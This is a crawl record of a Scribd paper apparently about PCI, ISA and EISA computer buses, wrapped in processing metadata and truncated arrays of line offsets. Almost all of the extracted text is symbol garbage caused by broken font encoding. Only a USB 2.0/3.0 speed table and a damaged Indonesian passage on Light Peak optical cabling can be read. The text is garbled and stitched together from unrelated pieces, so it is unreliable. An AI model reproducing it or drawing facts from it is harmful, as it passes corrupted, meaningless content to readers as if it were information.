14004,
14005,
14076,
14077,
14113,
14149,
14185,
14186,
14527,
14528,
14531,
14532,
14856,
14857,
14896,
14969,
14990,
14991,
15004,
15005,
15082,
15083,
15130,
15131,
15339,
15340,
15364,
15365,
15484,
15485,
15535,
15536,
15558,
15560,
15615,
15617,
15618,
15722,
15723,
15765,
15861,
15862,
15965,
15966,
16008,
16115,
16116,
16131,
16132,
16417,
16418,
16434,
16456,
16458,
16476,
16518,
16560,
16562,
16563,
16577,
16578,
16681,
16682,
16878,
16879,
16939,
16941,
17014,
17064,
17070,
17188,
17194,
17196,
17197,
17268,
17269,
17313,
17335,
17337,
17355,
17397,
17439,
17441,
17442,
17641,
17642,
17706,
17708,
17728,
17780,
17786,
17827,
17833,
17834,
17911,
17917,
17989,
17990,
18022,
18032,
18073,
18098,
18108,
18121,
18131,
18162,
18188,
18198,
18204,
18206,
18207,
18439,
18440,
18461,
18483,
18485,
18503,
18545,
18587,
18589,
18590,
18633,
18634,
18942
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 18942,
"ccnet_original_nlines": 405,
"rps_doc_curly_bracket": 0.00855241995304823,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3113522529602051,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.00834724958986044,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.26071229577064514,
"rps_doc_frac_unique_words": 0.2939322292804718,
"rps_doc_mean_word_length": 5.583136558532715,
"rps_doc_num_sentences": 215,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.816185474395752,
"rps_doc_word_count": 2538,
"rps_doc_frac_chars_dupe_10grams": 0.05815102159976959,
"rps_doc_frac_chars_dupe_5grams": 0.11799576878547668,
"rps_doc_frac_chars_dupe_6grams": 0.11037403345108032,
"rps_doc_frac_chars_dupe_7grams": 0.09922371059656143,
"rps_doc_frac_chars_dupe_8grams": 0.08553282171487808,
"rps_doc_frac_chars_dupe_9grams": 0.07692307978868484,
"rps_doc_frac_chars_top_2gram": 0.015525760129094124,
"rps_doc_frac_chars_top_3gram": 0.008892030455172062,
"rps_doc_frac_chars_top_4gram": 0.007057160139083862,
"rps_doc_books_importance": -1509.6864013671875,
"rps_doc_books_importance_length_correction": -1509.6864013671875,
"rps_doc_openwebtext_importance": -829.4271850585938,
"rps_doc_openwebtext_importance_length_correction": -829.4271850585938,
"rps_doc_wikipedia_importance": -629.4827270507812,
"rps_doc_wikipedia_importance_length_correction": -629.4827270507812
},
"fasttext": {
"dclm": 0.43752068281173706,
"english": 0.7132888436317444,
"fineweb_edu_approx": 2.513390302658081,
"eai_general_math": 0.831011176109314,
"eai_open_web_math": 0.1387912631034851,
"eai_web_code": 0.9528225064277649
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
455,598,184,386,423,000 | You are on page 1of 22
c
c
!!"!#$
% &
ð
"
'
c
c
c c
c
!" # $% & "%%' & !( "))* & +
% ++ (% % + !"
(% & +( !" ) " ,+ % + & "
!+& -&+ ../+$++ +
& ++ (%% + "01" % +( %+ (
(+" !+ (
(+ ( (%%+ "- % (+ + % ( $
(+)+ 2 &+ ../-+ !"(&%+ ( %-&%%
+3++ !"14#2*
+"#"+)&)+* &+& ++%+
2 % ( " ! %% / %++ .
+ " + % ((& + ($ 2 "
!0&+ .
-&%% $ +" % +% ($ +
%- " 2 "
2 " (+ + % +(+(
%+ ( (+ " ! &%% &+ ..- +( & %
&+ !"% +)+ &+ ../
(
+ "
2 (+ 3 + "- % +
2- %
%+ (" ! #( !5 * + &%% (2
r
( ( (2( " /
0
(& (( )
+ & 66 78 #( & "
( " !*-
+(% ($
78" !0(( 5&
2- ( ( (+( % ( & & 66 0 +
0 + (( % (- + (+
()+ + ++& +- +2+ "09 ()( - -
- % ( (( /
&- " %+% ((+
+)+ &+ .
- &+ (+%%+ &%% &+ .
6- &%%
(+ +% + +%% ((+% "
2
")
+ " 2 & +& + " % (( 5& 2- &%%
(%8 + & ) % % "
2
)%( + &+ .
- " ( "
!0 % ( "
/
( % " (%
"($ & "
/
(( +%(( 2
- &%% (+ - ((- (& &+ +
( 2 (& %
(( + "09 % 5&
2- & ( $
) +(%% +
((+ + "09 % +- " & (( $
"
2% (- %((& 2#%
((& - &%% ($ .
*- % (
+)+ %++ &+ .
- &+ % ( " !0 +)+
" $+% ($ (% " 2 + % 2+ 7 ((%
((+% +"
2-&%%" +(%%
- +&(+ +%+%($+
ÿ
+ 1" #1401&) "+ )&)+* & +& + "09
% ( .
% +)+ + !
& " - (%% " & :(( : + ! % (%&+
& (( ++ ( ! (%
& 3 " ! !( - " - ( + %
(+(% &!(;!(+!!(;$+% &%((+
1" !((- +& % % ) ++
(%+%(%+1" !(;-+& %
(%(% 1" % $ ++ - ( +(+ +& +
%<!7=9>1'
<
?
!
!(;!(+!
75 2 )
=&
9 3
>1!
1
(5 %(% % % $ % % " 2
- & + 1" % #+ %
(% *"++&+ +% & #!"0@" *-
+$%3
+1" &3 /2+"% !
" %2+# + *-%%+(&
(%%+ +"
2+ 2% ( ( 1"-&%%&
Ä
(( (&' ( % #) 5 )( *
& + !- 1" $+% (%8 %+ + 1" ) (
% (%%+ % + - &%% % 1" ! &
: +%22 :-( (&(
+ 1" ((& . + # %+ ++
% %+ % %+* ((+ " 2
+& - 1" /2 % ( % " 2 -
+ " % & (( + - + 1" (( +
% +(+ ( & % %+ & " 2-
( + ((& 5& ($ /2 - + "
% ( (& & ( + % (& (
(+ ++ % %+- + +% %+ (
&-+2+1"+%%+& ++ (%(% +"09%+-
%+%A1B) +#AB2 +*
+ 1" (% &%% / )
- 78- &%%
( (+(%) & 0 (%# )*
1" $+% %+& ) +1" ð + (
#$%- - %%* & - ( (- /-6 ( (- /6
( (
_ c _
(% +(
" c%c($
2
& & ( (+ ( ( % +
& % 1;+( ! # 1!* &+ . 1!
(( %% // .- $+ &
(- ($ (+ % % )%%& + (+
& (+ ( % $+ ) + +& + 5 ++
+( +& ((+ 2 (+- # 2*
( % ()% 3 5 2
& 1
!
( 5 2
# %%&*%(%%+
% 2 % ( ( )& + + +
( 2( $+ + % 2
0- ( (
( (%%+ + Bð 2
0 & ) & (+&
2
(+- $ & ( 2
&
( &+ .6
+%C! 92
D
ÿ * c%c""$
2 & % ()(+ % $+ & %
1;+(!&+ .6 % 2
2
(-5 ++ + + %% ( & &+
(( + + 3- & (+& ++ %(
% &+ + % %%+ % +(+( +
2 ((%+& (
E +
( - ( % 1;+(-
((%+&( ! 0 $+% 2 9
Ä v (!()$
+ + (+ + (+ % %+ ( (
+ " (% & " ! % + "111
6.
+ + % + %
+ % &%% % % ( )%
$ + % $ +( %
((+% + + +2 ( ++ +(+&
+& ((+ % + ( ++ + %
((+! ð-((-
&+ .
/ & + +(+(
% ( & %+ % 2 2 ( 7
$+% ((+% +& ++ 3 % ()%+&
+ + + (+(%% %&53
++ () +&(+&)&% & &+
4
)( % / ( 5 + + + %+ ! ð
% )% &++- ((- !"- ( 3 (+
(& )( $% 1&- F %) -
( !) 0/ )& ) - % )
)& ( ") ++ (% %+ ( %
5 + 3 3 5 % (%%+
+ +(+ 7 0 ),&)"@"
+ +( ++ +'
G + +(+H%"1116.
G F#"0914 +*H%"111 ..
GB F#14)+ +*
G + )& "09 +
# _c _v c +,
$
:" !(+ FD- ( " & ( %
(+ % )% ++ ( &
3 + &+ & % :" !(+:
((+ &
# (+3/ *
% ! ( -( F %(( $)
F +(%( / ((( #(%%+
@ * (+( +% ($ +
$+ %3 ) )&(
# * & -66 78 "
+ +
2
"+ )&)+ #"* % + + F
F% ( (2( % ! % -
F + ( ( % (
+ ( ( + >(+ %
( - )+ + % % )% ++ ! $ ++
(%%+ $ IF &
% & + % (+ %+ ( " ! (&
K
%+ % &+ / - ( + % %
+
4 _ c +
$
+ "#
* (% & +&
((( ( & " % % " !
&+ .
" % (
2 $% &+ .
++ F + ( )% ++ &++% +
(&- " ((+% ++ + (%+( + & %
( (( +( % ++ %+% + "
(+ + % ) % % & (+ )+ + ++
& %((% )&-(+ (
+
2$ -66 78# )) ) " !" !0
F I
! ð*- % + 2 +
78 #
/
! ð " !0 (+ 78 ( 5
78 (+ ( *" @0 !$+% (%%+ + 2 "+ $+%
2( % ( % " +(+
?7 (+ 5 ! 4
+ !0 %
- 78 ++% & &5
((& ( %(2( +2
+ % $+% +& + % &
) &" +& (% ++
($( &5 (+% & % ((+ +2 +
++ !(-++% ( (%&+"
) _ (!Ä()$
+ 1" #1401&) "+ )&)+* & +&
+ "09 % ( .
% +)+
+ ! & " - (%% " & :(( : + ! %
(%&+ & (( ++ ( !
(% & 3 " ! !( - " -
( + % (+(% & !(; !(+ !
r
!(; $+% & % ((+ 1" !((- +& %
% ) ++ (%+ %(% + 1"
!(;- +& % (%(% 1" % $
++ -( +(+ +&+%<!7=9>1
(5 %(% % % $ % %
" 2-& +1"%#+%
(% * "+ + & + + % &
#!"0@" *- +$%3
+ 1" & 3 /2 + " %
! " % 2 + # + *-
%%+(&(%%+ +"
2+ 2% ( (
1"- &%% & (( (&' ( %
#) 5 )( * & + !- 1" $+% (%8
%+ + 1" ) ( % (%%+ % + -
&%% %1" ! & : +%22 :-( (&
(
+1"((& . +# %+ ++
% %+ % %+* ((+ " 2
+& - 1" /2 % ( % " 2 -
+"%&(( + - +1"((
+ % +(+ ( & % %+ &
" 2- ( + ((& 5& ($ /2
- + " % ( (& & ( + %
(& ( (+ ++ % %+-
+ +%%+ ( &-+2+1"+%%+&
++ (%(% + "09 % +- % + % A1 B) +
#AB2 +*
+ 1" (% &%% / )
- 78-
&%% ( (+( % ) & 0
(% # )* 1" $+% %+& ) +
1"ð +( #$%- -%%* & -( (-
/-6( (- /6( (
h
r v- - c+ÿ$
)!& 0/ ( (+ F % 78
FE
% #" . *-#"
*6#"
6*3 %
F-
B!+
B!/E 666#" .60.66*%
"
F/% %
F+(%2(%E
#" .
*
" 0/ )% ++ % + % ( %
!( 00F (+( !(% %+-
&5 % 0/ (( + "9 2 + ( "9
#3) "9* % ( (+ (+ + % +%
%+ &90/-% (! "9# ( "9*%(+
( % ++ 0/ ++ ($ % + ( %
!00F
( _c c
$
+ &" %+ ) ( !" (+ + %
%+% +% % + (88 + + & !"
(( $%%++ ("09 )%%'3-
>"!- ) -+)- 2
!" & + ) 78- $+
/ +/- /,+%%+ !" & )
$(+&% %%
" (+ ( !" &+ .. ++ ( +( ð+
(() %%+ !"- " (( !" % ( +
&%%3(% + + % !"
è _
!"#
* & +& (+ +
$%%% &>"F ./#()>
"+* (+ %+ ++ (% %
+0++ + % ( ( + &
)&&+ .
% %+(+((%%+ !" &&
è
-!2@9 -)-+!"(%%+ ) %
-
-+ / +
% !"(( ++& -+ +
++ ++& % +% ) % +
( & ((2) + 3 (
()(3!"'
G!"2 +&+ .
((
+- )
78 A ((+% ( 6 % &++% ) 2
)&
G!"2/ &+ ../% + / +
) 78
G!"2 %(+ +% )% &%%((& (
&
"! . v- $
>++ & ++ )&+ /2 +- 5 (% "
% % >+ )& 5 % (
>++>+ )&+ + ( +< % ++ >+ )&
( - ++ B ") B2B( >++ (+ (+
(+ &4"+(#14 *- !(+->F7
% %+ +(
>++ & + % + + "" ( % +
(()
2- 2- / 2- /2 5- (%%+ ++ + + +
% %- ( &)+%% ++%
0
"" *_
(+ % & % +
)%% !" % (( )&
-(+- +'+$+&3 (+#!(;- 1!-" -
r
" - )->1!->& )(*(2( ()%+++
"09 ) & % & ( ð3
+#ð *
++%ð '
G ( &+((%( +$+( ! +
G ( &+((+ )%++ ((% "09+
G7+$ % + %%&++%
G (+ 2 "09
G (+& (% 2 % & ( %
(+
G + (% +%ð
G +&
"ÿ / 0
þ & & ( %% %+ ( % %
+ ++ 2(+ "111 .
(( "111 . % ( B ( 2-
%#/ 1 -"111 . B *(2((+$+ $
% ((+ (%(% )%)-(2
(% # * < ( % + %&
% %) + ð
, + < & % (+)+ <
#"111 . *
% &+/ <
(( ) +
"111 . &+ + #+ "111 . + < *-
((+ (%& ( ) 2
(&)-"111 . $+%((+%+ %$ % &$+&
% &+ + +& <
(
$% (+2%2 (++ 2%2 (
( ( $+& (- % <
&
((+% $+& ( 5 + %(+- )
$ %+ %+%$ %%+
rr
+%%+ 5'
G)+ %%%
G C) 22 D # * - ( (+ &
# ( <5 F * %+% ( <
%(+% %+% 0%+
G ( $-< ( (( (+&%%
$ (+&
G (+% 2) &+ (( ++
(%%%%+ $ (+%#
*
G (+ ((+% (% ( < )
-(%%%%+ $+2(
G %+ & &+ (+% (+ H%
(2 +- ( (%%+ ) #
*
G ((5 % ( 5 &%% (%
%%+
G % %()()%(+-
G + + % #
*- &%% % & +
+ ((
"Ä _2v
A 12 /+ & 2 "5 A 1+&++% %
+% ( 9 & 2- A 12 / (%&
3+ ++ ( ( & + %+ / 2
& +&(&ð+ ((& ++/ 2 -
/2 2 (( ( (( & &+ )
%%(+%% +% A 1+ (% &+
.
- & +- % + /2 ( +E A 12 /
+ 2 1+)- & && - ((+ ++
)( (+( / 0++ &)+%%
rÿ
"# _ -
! !#
* & +
++ + % %+ ( ) +
+ + ((+% + +%2 (+
#(/ (+*) -% (+) !+
+&(+ A 12! !
5 + & ( 19>1 J K % 1ð@
&+ .6/ J/K- ( + % - ( +
#5* ++ +%2 (+ % & ++
( (+ (+ 7%&5 !%
7%&5A7 0(+ !$+% &%+
! !( +"111'
2
&
2
) ))#L2L2)*
2 . )&7%&5(
2 . &%&5(
2 6/@ 2( )! !
2 6+4 )) ))0+
2 6
9@@>++! !
( 5 +- (+ % & M% % // %
++ (+ % % + %
++ ) ( ( + # 2 *
+& & &) % &+ /+% # 2
* +% - 26 &(()+% (
) (+ -( 2/ &(+ +%%
() (+
+%%(%(+ -+%2+%% +'
G"2!&
G=2!8
G!2!)
"
*_Ä
% ð + 3 + ($ & %
(5 ) $ &+ .. (
ð / +& %%+ % ((+&+++%( %%-
(+)+ &+% %(ð
N +( ð / % & : ð :-ð
(+)+ % & C D - % & )
% +( % ð / - ) ( (
% )
#(%
* +
0 ) 5 +& ()+ + ++ ((+&
++& + + >(+ % %
++& % ( # 7 A*- ð /
($( (
$+ (%& ð ((
) / # -/ ,* #% ) -
,0
0 *> 4 &ð / ð+ ()%
%% -( ) + ð + /&
r
)(# *-++% +( + & %
ð /
c *_ Ä !
+%%+-ð (%8
% ð / ( + +# * >(++ $
$% ð / (% )% (( $ +
ð % ( ( ((+ &5 $ ð /
ð ($ 2 O M% + %- +
ð (%ð / # *>(+ $ +
(&&%%$ + ð ().
(% ++% )% & ð $+%
(& (( +% &
$% % & ( ( ( # * " % $%
% ð / - % (( & $% ( (
( + (+)+
(% %
$ %+% ) ) (0 % ++% %(
r4
+ $+%- % ð & ((5 % ((% +%%+
%& ++&% % % c $
. .3!Ä
( > ++ + + #/-D*- $+%
( > + + -D#
*%% ð
+ % ( + +
$+%((& ( /2++ ( +%%$&
% & (+& + - ( C ) ðD
%
' . .3!Ä
ð
-
, /&+
+< 555)(5
7% P 2
P>+1-# / * 2.
P %%+(%++/
rK
4 _ 4
+ + (+% + >(+-
& (+$+ &5 5 + ((
+
% (+ +% ð 5 14
4
% ( % % + " ((+
( %%%( $+% ( ($ (%
%
/-D&%%+ + , 14 4+ +
( $+ ( + ð (
' 4 _ 4
ð
-
, /&+
+< 555+)(
7% P 2
P>+1-# / * 2.
P %%+(%++/
rr
- 5 ÿ4%Ä
+ % % % % % %( + +%
&2& (( %-
) & $ + ++
N / % (( ð ((
%+)% " ((+
( (
(% "+( &(
+ % ( (( % -
(%&+ (+ ð %%+ ( + 5 B1
%(+)+ #$%%++ ð / +++ ð
'
- 5 ÿ4%Ä
ð
,
, /&+
+< 555))(5
7% P ðQ
P9(%!(+-# / */ 2
6
P %%+(%++/
rh
6 7 8
K $ US 2.0 K $ US 3.0
Tu Tu
( 0 ( 0 ( 0 ( 0
Adaa Nob 32,56 32,52 131,7 131,2
NH03
Asus Express ox 32,54 32,29 104,3 100,0
Transcend 31,28 31,06 91,82 91,88
SoreJe 25D3
ÿ
_ 8
ne daang dengan novas baru, ekno og cangg n dber nama
.
Perangka n akan menghubungkan banyak pera aan dengan kabe fber opc.
ne mengk am Lgh Peak akan menggankan US 3.0. n berar kebuuhan
por yang sudah umum dm k banyak gadge akan segera ergankan ekno og
Lgh Peak.
Se$ak seahun a u, Lgh Peak memang sudah dperkena kan o eh ne kepada
pub k, namun baru d akhr ahun 2010 n ne akan mu a memproduks ekno og
erbarunya u. ne berharap banyak parner ne yang berseda membanu
pen$ua annya.
Tekno og n memuncu kan kecenderungan rend kabe opc anpa srk.
anfaanya ungkap Jusn @aner, kepa a ne Labs, enu sa$a dapa mendukung
berbaga prooko , danaraya US dan sera ATA.
B%& $ (+ ) 5 +%( &
+ -&%%(+++ %&$ +
B%&
$ &- + %- B%& ð
& B%& $++ ($ % ð -
B%& ((+ð $ %+
%$%% )%%((%
+-B%& $+%((+(% ) ,-
& ) ++ (%( ( +2 ( 5 + %& ( $ B%&
% ( +ð % ((&
++ (( ) B%& $+% (( + B%& -
+(++ %%+)(+
ÿ
%
&'00)+ %)(0/ .0 0%2)22&(
&'00555% )))0/ 0 0 (%2+2(&(
&'00555 (+)(0 0( 2%%2%2+2
&'00555 (+)(0 0( 2%%2%2+2 0& (2/
&'00)(0+2 2 2 2%2 &2 %&2 0
ÿr | {
"url": "https://www.scribd.com/doc/53761141/Paper-Pci-Isa-Eisa",
"source_domain": "www.scribd.com",
"snapshot_id": "crawl=CC-MAIN-2019-35",
"warc_metadata": {
"Content-Length": "176873",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QAZTSNYH5ROGVIREEDSGWZUJMCYDIHW4",
"WARC-Concurrent-To": "<urn:uuid:7482ddc2-1254-45b9-b7fd-d853724ad34c>",
"WARC-Date": "2019-08-25T04:20:41Z",
"WARC-IP-Address": "151.101.250.152",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:OJWY5TJFH5WSXWSZG2222CU7GBLE4IQH",
"WARC-Record-ID": "<urn:uuid:a0181123-282a-4524-8cad-3da9685c3e25>",
"WARC-Target-URI": "https://www.scribd.com/doc/53761141/Paper-Pci-Isa-Eisa",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:61a3a10a-2f35-41ed-bcc4-766dd4a8f24d>"
},
"warc_info": "isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-207.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
23,
24,
43,
44,
46,
52,
67,
117,
118,
163,
164,
180,
181,
190,
191,
208,
210,
225,
228,
243,
246,
260,
261,
263,
265,
266,
276,
292,
293,
313,
314,
315,
336,
349,
357,
359,
360,
393,
394,
399,
400,
492,
578,
669,
755,
840,
877,
878,
961,
1045,
1098,
1099,
1104,
1105,
1192,
1201,
1278,
1281,
1371,
1390,
1459,
1497,
1551,
1639,
1687,
1688,
1690,
1701,
1702,
1712,
1782,
1795,
1880,
1881,
1883,
1939,
1942,
1977,
2046,
2047,
2066,
2067,
2068,
2098,
2148,
2149,
2241,
2242,
2330,
2426,
2517,
2528,
2529,
2619,
2641,
2684,
2704,
2782,
2789,
2790,
2792,
2804,
2805,
2893,
2973,
2985,
3042,
3069,
3105,
3107,
3153,
3193,
3195,
3239,
3331,
3429,
3468,
3517,
3564,
3565,
3660,
3672,
3745,
3793,
3828,
3865,
3918,
4011,
4059,
4096,
4180,
4181,
4183,
4189,
4190,
4282,
4322,
4323,
4371,
4372,
4373,
4455,
4540,
4623,
4701,
4791,
4873,
4962,
4982,
4983,
4989,
4990,
4996,
4997,
5016,
5017,
5046,
5047,
5064,
5065,
5073,
5074,
5084,
5085,
5090,
5091,
5098,
5099,
5101,
5188,
5275,
5362,
5386,
5387,
5474,
5475,
5476,
5564,
5587,
5652,
5653,
5655,
5748,
5836,
5925,
5973,
5974,
6059,
6145,
6242,
6340,
6433,
6523,
6615,
6705,
6789,
6835,
6836,
6904,
6905,
6906,
6926,
7011,
7103,
7191,
7203,
7204,
7231,
7232,
7256,
7276,
7280,
7355,
7425,
7508,
7597,
7687,
7760,
7825,
7846,
7855,
7856,
7858,
7878,
7933,
8024,
8078,
8108,
8162,
8197,
8211,
8258,
8270,
8298,
8325,
8329,
8331,
8333,
8353,
8428,
8480,
8508,
8592,
8672,
8758,
8827,
8837,
8919,
8991,
8993,
8995,
9015,
9092,
9183,
9189,
9273,
9362,
9448,
9530,
9617,
9670,
9683,
9746,
9838,
9922,
10003,
10085,
10086,
10088,
10172,
10258,
10337,
10422,
10502,
10589,
10653,
10655,
10688,
10739,
10796,
10820,
10844,
10846,
10848,
10868,
10871,
10941,
11012,
11093,
11171,
11196,
11273,
11342,
11421,
11484,
11536,
11537,
11558,
11559,
11560,
11566,
11642,
11728,
11814,
11901,
11980,
12066,
12145,
12146,
12148,
12231,
12250,
12252,
12254,
12271,
12274,
12288,
12340,
12420,
12429,
12463,
12503,
12505,
12580,
12660,
12745,
12830,
12898,
12903,
12974,
12982,
12983,
13044,
13045,
13046,
13062,
13063,
13065,
13145,
13147,
13227,
13315,
13375,
13410,
13450,
13531,
13616,
13696,
13780,
13836,
13838,
13840,
13861,
13943,
13993,
13994,
14032,
14033,
14034,
14112,
14191,
14278,
14354,
14355,
14357,
14440,
14525,
14605,
14675,
14754,
14837,
14915,
14956,
15042,
15131,
15175,
15212,
15301,
15382,
15465,
15546,
15557,
15632,
15718,
15806,
15889,
15980,
16059,
16138,
16224,
16307,
16393,
16404,
16472,
16482,
16567,
16657,
16740,
16771,
16773,
16775,
16776,
16778,
16800,
16865,
16871,
16910,
16928,
16949,
16950,
16956,
16976,
17023,
17030,
17061,
17096,
17099,
17109,
17119,
17124,
17207,
17285,
17364,
17448,
17526,
17606,
17616,
17618,
17620,
17645,
17659,
17741,
17832,
17919,
17968,
18046,
18125,
18172,
18252,
18328,
18398,
18400,
18402,
18415,
18437,
18484,
18567,
18647,
18730,
18754,
18806,
18807,
18809,
18888,
18891,
18916,
18993,
19083,
19174,
19185,
19187,
19215,
19240,
19252,
19298,
19383,
19391,
19474,
19492,
19573,
19592,
19594,
19596,
19619,
19699,
19784,
19864,
19944,
20023,
20080,
20158,
20171,
20240,
20322,
20330,
20332,
20334,
20343,
20419,
20507,
20588,
20589,
20592,
20672,
20761,
20782,
20784,
20801,
20876,
20948,
21009,
21062,
21143,
21158,
21227,
21236,
21238,
21240,
21254,
21332,
21408,
21488,
21567,
21648,
21735,
21805,
21866,
21881,
21925,
21961,
22043,
22109,
22126,
22204,
22258,
22280,
22362,
22427,
22443,
22522,
22600,
22602,
22603,
22606,
22628,
22697,
22783,
22869,
22930,
23013,
23057,
23142,
23182,
23193,
23276,
23327,
23407,
23494,
23502,
23587,
23606,
23664,
23705,
23756,
23793,
23795,
23797,
23810,
23884,
23886,
23965,
24051,
24133,
24216,
24297,
24299,
24384,
24470,
24533,
24535,
24537,
24539,
24540,
24543,
24558,
24587,
24631,
24724,
24815,
24899,
24931,
25015,
25100,
25189,
25281,
25349,
25351,
25389,
25393,
25413,
25417,
25469,
25507,
25536,
25569,
25624,
25629,
25662,
25751,
25843,
25932,
26015,
26096,
26180,
26223,
26225,
26306,
26327,
26346,
26366,
26367,
26368,
26370,
26376,
26383,
26386,
26398,
26399,
26401,
26403,
26476,
26562,
26644,
26715,
26717,
26718,
26799,
26800,
26801,
26891,
26978,
27014,
27037,
27064,
27144,
27211,
27294,
27318,
27319,
27399,
27474,
27485,
27567,
27661,
27662,
27665,
27750,
27760,
27761,
27763,
27765,
27793,
27804,
27853,
27889,
27939,
27955,
27961,
27973,
27975,
28052,
28138,
28221,
28301,
28386,
28469,
28532,
28534,
28611,
28698,
28787,
28872,
28936,
28954,
29038,
29039,
29042,
29129,
29204,
29207,
29208,
29229,
29230,
29309,
29346,
29387,
29388,
29476,
29559,
29644,
29660,
29661,
29694,
29695,
29715,
29733,
29751,
29781,
29782,
29801,
29802,
29834,
29837,
29838,
29867,
29868,
29871,
29872,
29875,
29893,
29894,
29981,
30072,
30080,
30136,
30144,
30221,
30295,
30304,
30318,
30383,
30442,
30443,
30446,
30447,
30449,
30451,
30452,
30482,
30483,
30503,
30521,
30539,
30565,
30566,
30585,
30586,
30618,
30621,
30622,
30651,
30652,
30655,
30656,
30659,
30660,
30683,
30684,
30768,
30802,
30858,
30929,
30939,
30977,
31011,
31095,
31187,
31272,
31332,
31333,
31346,
31369,
31370,
31390,
31408,
31426,
31460,
31461,
31484,
31485,
31514,
31517,
31518,
31547,
31548,
31551,
31552,
31565,
31566,
31592,
31593,
31594,
31608,
31640,
31678,
31683,
31724,
31758,
31759,
31773,
31774,
31776,
31783,
31784,
31807,
31811,
31817,
31818,
31887,
31894,
31969,
31970,
32045,
32123,
32135,
32136,
32210,
32291,
32364,
32378,
32379,
32450,
32529,
32578,
32579,
32580,
32660,
32747,
32760,
32761,
32845,
32932,
33015,
33078,
33079,
33155,
33156,
33157,
33247,
33326,
33413,
33462,
33463,
33466,
33480,
33481,
33483,
33549,
33550,
33615,
33616,
33680,
33681,
33755,
33756,
33817,
33818
],
"line_end_idx": [
23,
24,
43,
44,
46,
52,
67,
117,
118,
163,
164,
180,
181,
190,
191,
208,
210,
225,
228,
243,
246,
260,
261,
263,
265,
266,
276,
292,
293,
313,
314,
315,
336,
349,
357,
359,
360,
393,
394,
399,
400,
492,
578,
669,
755,
840,
877,
878,
961,
1045,
1098,
1099,
1104,
1105,
1192,
1201,
1278,
1281,
1371,
1390,
1459,
1497,
1551,
1639,
1687,
1688,
1690,
1701,
1702,
1712,
1782,
1795,
1880,
1881,
1883,
1939,
1942,
1977,
2046,
2047,
2066,
2067,
2068,
2098,
2148,
2149,
2241,
2242,
2330,
2426,
2517,
2528,
2529,
2619,
2641,
2684,
2704,
2782,
2789,
2790,
2792,
2804,
2805,
2893,
2973,
2985,
3042,
3069,
3105,
3107,
3153,
3193,
3195,
3239,
3331,
3429,
3468,
3517,
3564,
3565,
3660,
3672,
3745,
3793,
3828,
3865,
3918,
4011,
4059,
4096,
4180,
4181,
4183,
4189,
4190,
4282,
4322,
4323,
4371,
4372,
4373,
4455,
4540,
4623,
4701,
4791,
4873,
4962,
4982,
4983,
4989,
4990,
4996,
4997,
5016,
5017,
5046,
5047,
5064,
5065,
5073,
5074,
5084,
5085,
5090,
5091,
5098,
5099,
5101,
5188,
5275,
5362,
5386,
5387,
5474,
5475,
5476,
5564,
5587,
5652,
5653,
5655,
5748,
5836,
5925,
5973,
5974,
6059,
6145,
6242,
6340,
6433,
6523,
6615,
6705,
6789,
6835,
6836,
6904,
6905,
6906,
6926,
7011,
7103,
7191,
7203,
7204,
7231,
7232,
7256,
7276,
7280,
7355,
7425,
7508,
7597,
7687,
7760,
7825,
7846,
7855,
7856,
7858,
7878,
7933,
8024,
8078,
8108,
8162,
8197,
8211,
8258,
8270,
8298,
8325,
8329,
8331,
8333,
8353,
8428,
8480,
8508,
8592,
8672,
8758,
8827,
8837,
8919,
8991,
8993,
8995,
9015,
9092,
9183,
9189,
9273,
9362,
9448,
9530,
9617,
9670,
9683,
9746,
9838,
9922,
10003,
10085,
10086,
10088,
10172,
10258,
10337,
10422,
10502,
10589,
10653,
10655,
10688,
10739,
10796,
10820,
10844,
10846,
10848,
10868,
10871,
10941,
11012,
11093,
11171,
11196,
11273,
11342,
11421,
11484,
11536,
11537,
11558,
11559,
11560,
11566,
11642,
11728,
11814,
11901,
11980,
12066,
12145,
12146,
12148,
12231,
12250,
12252,
12254,
12271,
12274,
12288,
12340,
12420,
12429,
12463,
12503,
12505,
12580,
